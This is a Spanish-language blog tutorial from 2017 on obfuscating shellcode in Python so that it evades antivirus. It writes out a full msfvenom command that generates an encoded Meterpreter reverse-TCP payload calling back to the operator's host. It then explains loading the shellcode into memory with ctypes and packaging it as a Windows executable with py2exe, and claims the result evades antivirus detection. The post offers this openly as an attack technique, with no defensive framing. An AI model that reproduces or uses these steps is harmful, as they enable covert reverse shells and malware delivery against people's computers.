miércoles, 22 de febrero de 2017

Ofuscar shellcodes en Python

Definición:

Python dispone de una librería llamada ctypes, la cual permite especificar un shellcode en formato C y conseguir ejecutarlo desde el propio script.

Requisitos:

- Máquina Kali Linux
- Máquina Windows 7
    - Python 2.7
    - Py2Exe

Tutorial:

Kali Linux

Lo primero será crear nuestra shellcode, para ello usaremos msfvenom, podemos crearla con el siguiente comando:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IPLOCAL> LPORT=<Puerto al que se va a conectar> -f c --encoder x86/shikata_ga_nai --iterations 6 --bad-chars '\x00'

Nos saldrá algo como esto:


Copiamos la shellcode, ahora vamos a pasarla a exe, podemos hacer uso de esta web.


Como vemos tendrá bastantes detecciones:



Para ofuscarlo, volvemos a copiar el shellcode, esta vez lo copiaremos directamente en un script en python, y usando la librería ctypes, crearemos un espacio en memoria donde irá almacenado el shellcode:

Copiaremos el archivo .py a una máquina con windows.

Windows 7:

Antes de empezar necesitaremos installar py2exe, lo podemos descargar aquí.

Una vez instalado, vamos a convertir a exe el archivo python, para ello copiamos el shellcode.py al directorio de nuestro python (Para que sea más fácil la explicación), en mi caso "C:\Python27"

En ese mismo directorio creamos un archivo llamado "setup.py" el cual contendrá:


from distutils.core import setup
import py2exe

setup(console=['NuestroArchivo.py'])

Abriremos un CMD, iremos a la ruta de python (C:\Python27), y escribiremos el siguiente comando:

python setup.py install

Por último, vamos a convertirlo a exe con el comando:

python setup.py py2exe

Nos creará un directorio llamado "dist" y dentro tendremos nuestro ejecutable, esta vez si que evadirá los antivirus.


 
Puedes ver un tutorial más detallado de py2exe aquí.